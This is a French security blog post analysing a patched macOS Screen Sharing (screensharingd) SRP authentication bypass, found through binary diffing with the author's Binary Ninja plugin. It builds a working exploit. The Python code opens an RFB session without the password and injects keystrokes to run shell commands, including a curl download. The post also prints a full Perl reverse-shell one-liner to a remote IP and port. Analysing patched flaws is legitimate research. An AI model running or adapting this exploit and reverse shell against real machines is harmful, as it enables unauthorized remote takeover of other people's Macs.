Dans cet article, on va analyser une faille de sécurité permettant d’exécuter du code à distance et sans authentification. Cette faille se situe dans l’un des composants liés au partage d’écran sur macOS. Par la suite, on va implémenter un exploit pour prendre le contrôle d’un Mac sans interaction de l’utilisateur.
Introduction Link to heading
Avec iOS 26.6, Apple a corrigé plusieurs failles dont 3 liées au partage d’écran. S’en est suivie la divulgation d’un outil pour exploiter l’une des failles, la CVE-2026-43777.
Rapport de correction des failles pour MacOS 26.6
Le chercheur Pedro Vilaça, dont la faille a (mal)heureusement été corrigée, a publié un article de blog ainsi qu’un POC permettant de télécharger n’importe quel fichier à distance et sans authentication en tant que root, faisant ainsi passer la faille d’un simple DoS à de l’exécution de code à distance et sans authentification.
Dans la foulée, une nouvelle version de macOS, 26.6.1, a été publiée, corrigeant une autre faille dans la fonctionnalité de partage d’écran.
Rapport de correction de la faille pour MacOS 26.6.1
C’est cette faille que l’on va analyser et pour laquelle on va écrire un exploit permettant de prendre le contrôle d’une machine à distance.
Partage d’écran Link to heading
Apple permet de prendre le contrôle d’une machine sous macOS à distance grâce à la fonctionnalité « Screen Sharing ». C’est l’équivalent du RDP sur Windows. Screen Sharing repose sur le protocole RFB (Remote Framebuffer) et, tout comme VNC, le service est exposé sur le port TCP 5900 et géré par le démon screensharingd.
Fenêtre de partage d’écran MacOS
Pour utiliser le combo user/password pour se connecter à une session à distance, Apple utilise le protocole SRP (Secure Remote Password), qui est un protocole d’authentification permettant de prouver que l’on connaît un mot de passe sans jamais le transmettre sur le réseau, et de dériver au passage une clé de session partagée.
Le service de partage d’écran n’est pas activé par défaut et il faut autoriser spécifiquement certains utilisateurs à se connecter. Mais ça reste une cible intéressante vu qu’il donne un accès complet à l’interface graphique de la machine.
Contrairement à RDP, qui ouvre une session indépendante pour chaque utilisateur, Screen Sharing donne accès à la session graphique déjà active sur la machine.
Binja Diff Link to heading
On sait que les précédentes failles de sécurité liées au partage d’écran ont été corrigées dans le daemon screensharingd, et ipsw-diff semble confirmer qu’il y a aussi eu des changements dans ce binaire.
La première étape est donc de faire du binary diffing. Pour cela, j’ai développé un plugin pour Binary Ninja qui va nous permettre de visualiser les changements entre deux versions de screensharingd.
Le plugin, Binja Diff, utilise comme moteur de diffing Qbindiff et permet de faire du binary diffing depuis les vues graphique et linéaire, que ça soit en assembleur, pseudo-C ou tout autre langage intermédiaire.
Vue de Binja Diff dans Binary Ninja
La faille Link to heading
Maintenant que nous avons l’outil adéquat, essayons de comprendre la faille en question.
J’ai passé un peu de temps à reverser screensharingd pour avoir des noms de fonctions cohérents et rendre cet article un peu plus compréhensible.
Parmi les fonctions modifiées, SendSRPChallenge attire rapidement l’attention. Dans macOS 26.6.1, cette fonction reçoit un nouvel argument nommé srp_status.
Binja Diff : SendSRPChallenge srp_status
Plus bas dans le code, cette nouvelle variable est utilisée pour stocker la valeur de retour de la fonction SRPServerMechanismStep.
Binja Diff : SendSRPChallenge check de srp_status
Donc on a deux résultats différents qui importent : le retour de SendSRPChallenge, qui indique si le challenge a pu être construit et envoyé, et le retour de SRPServerMechanismStep, qui indique l’état réel de l’échange SRP.
Lorsque SRPServerMechanismStep renvoie 1, le serveur vient de produire un challenge, mais le client doit encore prouver qu’il connaît le mot de passe. Seul un retour égal à 0 indique que la preuve a été validée et que l’échange SRP est terminé.
De plus, en examinant l’appel à SendSRPChallenge, on remarque que macOS 26.6.1 vérifie désormais également srp_status avant de poursuivre vers le chemin signalé par l’erreur bad pw.
Binja Diff ajout d’un autre check de srp_status
Le code de macOS 26.6 vérifiait bien que le challenge était produit et ensuite envoyé au client. Mais aucune vérification n’était faite pour valider l’authentification SRP.
À ce moment-là, le gestionnaire pouvait donc continuer vers AuthenticateAndAuthorizeTheViewer alors que le serveur attendait encore la preuve SRP du client.
Exploitation Link to heading
Une fois ce bug compris, pour l’exploiter il faut savoir comment déclencher le challenge SRP, qui est la clé de la stratégie d’exploitation.
Identité SRP Link to heading
Cela commence par initialiser la connexion RFB et récupérer les types d’authentification.
import socket
import struct
def recv_exact(sock, size):
data = b""
while len(data) < size:
chunk = sock.recv(size - len(data))
if not chunk:
raise ConnectionError("Connexion fermée par le serveur")
data += chunk
return data
sock = socket.create_connection(("192.168.65.4", 5900), timeout=6)
# receive and send back version
rfb_version = recv_exact(sock, 12)
sock.sendall(rfb_version)
print(f"RFB version: {rfb_version!r}")
# recv count + list of auth types
auth_count = recv_exact(sock, 1)[0]
auth_types = recv_exact(sock, auth_count)
print(list(auth_types))
En exécutant ce code contre la machine vulnérable, le serveur renvoie quatre identifiants :
$ python3 screensharingd.py
[30, 33, 36, 35]
La gestion des identifiants se trouve dans la fonction que j’ai appelée HandleViewerAuthenticationMessages. C’est via cette fonction qu’on comprend quel type d’authentification est lié à SRP : 36 (0x24 en hexadécimal).
HandleViewerAuthenticationMessages
Pour crafter l’identité SRP à envoyer, je me suis inspiré de l’exploit cité précédemment, qui passe aussi par une identification SRP.
Cet exploit ne décrit pas la faille analysée ici, mais il utilise le même format Apple pour sérialiser une identité SRP.
def srp_identity(username):
name = username.encode()
fields = b"\0\0" + struct.pack(">H", len(name)) + name + b"\0\0\0"
inner = struct.pack(">I", len(fields)) + fields
return struct.pack(">I", len(inner)) + inner
On peut donc envoyer une identité SRP avec un utilisateur qui n’existe pas et screensharingd va quand même générer un second challenge qui, cette fois avec un utilisateur valide, permettra de valider l’authentification.
Ci-dessous, après l’initialisation on envoie une première identité SRP avec un compte qui n’existe pas, et on la précède de 0x24 pour sélectionner le mécanisme SRP.
Puis on envoie cette fois-ci une seconde identité avec un compte valide sans avoir à spécifier 0x24.
Après la réception du second challenge, le serveur renvoie un SecurityResult égal à 0, indiquant qu’il considère la session comme authentifiée.
λ ~/dev » python3 screensharingd.py
auth count : 4
[30, 33, 36, 35]
> /Users/mathieu/dev/screensharingd.py(57)<module>()
-> breakpoint()
(Pdb) sock.sendall(b"\x24" + srp_identity("six-seven"))
(Pdb) read_challenge(sock)
b'\x00\x00\x04\x83\x00\x02\x00\0\x00\x00\x00K\xd9...\x00Pmda=SHA-512,replay_detection,conf+int=ChaCha20-Poly1305,kdf=SALTED-SHA512-PBKDF2'
(Pdb) sock.sendall(srp_identity("mathieu"))
(Pdb) read_challenge(sock)
b'\x00\x00\x04\x83\x00\x02\x00\x00\x01\xb6\xe7...\x00Pmda=SHA-512,replay_detection,conf+int=ChaCha20-Poly1305,kdf=SALTED-SHA512-PBKDF2'
(Pdb) recv_exact(sock, 4)
b'\x00\x00\x00\x00'
L’utilisateur réel doit toujours posséder les autorisations nécessaires pour accéder au partage d’écran. La vulnérabilité permet de contourner la preuve du mot de passe, mais elle ne supprime pas le contrôle des droits associé au compte.
Voici une image faite par IA qui permet de résumer le processus de connexion et qui bypass l’authentification.
Injection des commandes Link to heading
Le SecurityResult a été accepté, mais la session graphique n’est pas encore complètement initialisée. Le client doit envoyer un message ClientInit, puis lire la réponse ServerInit.
Pour ça, le protocole RFB est bien documenté et il y a pas mal de code open-source dont on peut s’inspirer.
# client init
sock.sendall(b"\xc1")
server_init = recv_exact(sock, 24)
name_length = struct.unpack(">I", server_init[20:24])[0]
recv_exact(sock, name_length)
print(f"RFB session opened for {user}")
# control
sock.sendall(b"\x0a\x00\x00\x01")
La session RFB est maintenant ouverte et le mode contrôle est demandé. Le client peut injecter des événements clavier et souris dans la session graphique.
Pour démontrer la RCE, à l’aide de quelques helpers, j’ai fait exécuter une commande permettant de télécharger une image et de l’ouvrir.
# cmd + space : spotlight
key(sock, 0xFFEB, 1)
tap(sock, ord(" "))
key(sock, 0xFFEB, 0)
time.sleep(0.7)
# open terminal
type_text(sock, "Run Shell Script")
tap(sock, 0xFF0D)
tap(sock, 0xFF0D)
tap(sock, 0xFF0D)
time.sleep(1)
type_text(sock, """curl -LO https://matteyeux.com/images/hax.png;open hax.png""")
# setup remote shell to my local machine (nc -l 4242)
tap(sock, 0xFF0D)
time.sleep(2)
Toutes les commandes exécutées se font avec les droits de l’utilisateur mathieu.
Cet exploit qu’on a développé ne fournit pas directement un remote shell et ne récupère pas la sortie du terminal. Il démontre uniquement l’exécution de commandes obtenue par l’injection d’événements dans l’interface graphique.
Voici une démo de l’exploit en question ci-dessous.
Si on voulait obtenir un reverse shell, c’est possible, j’avais testé avec la commande suivante :
type_text(sock, """perl -e 'use Socket; $i="192.168.65.1"; $p=4242; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))) { open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }'""")
Ça fonctionne aussi mais pour l’effet démo c’est pas très fun.
Donc pour résumer, tout est parti du document qui décrit les correctif de sécurité de macOS.
On a fait du diff binaire entre les versions de 26.6 et 26.6.1 de screensharingd qui a révélé l’apparition d’une nouvelle vérification sur srp_status dans SendSRPChallenge.
Cette vérification manquante en 26.6 signifiait que le serveur ne validait jamais réellement la preuve SRP envoyée par le client
En exploitant cette absence de contrôle, un attaquant sans identifiants valides peut envoyer une première identité SRP avec un compte inexistant pour déclencher un challenge, puis une seconde identité avec un compte valide, et obtenir un SecurityResult à 0 sans jamais prouver la connaissance du mot de passe.
Une fois la session authentifiée, il ne reste plus qu’à terminer l’initialisation RFB pour injecter des événements clavier, et donc exécuter du code dans la session graphique de l’utilisateur ciblé.
Pour conclure cet article, ça m’a permis de découvrir le protocole RFB, de passer du temps à chercher différentes solutions pour exploiter le bug, tout en me limitant sur l’utilisation de l’IA. Et de présenter mon plugin Binja Diff avec un vrai cas d’étude.
Liens et sources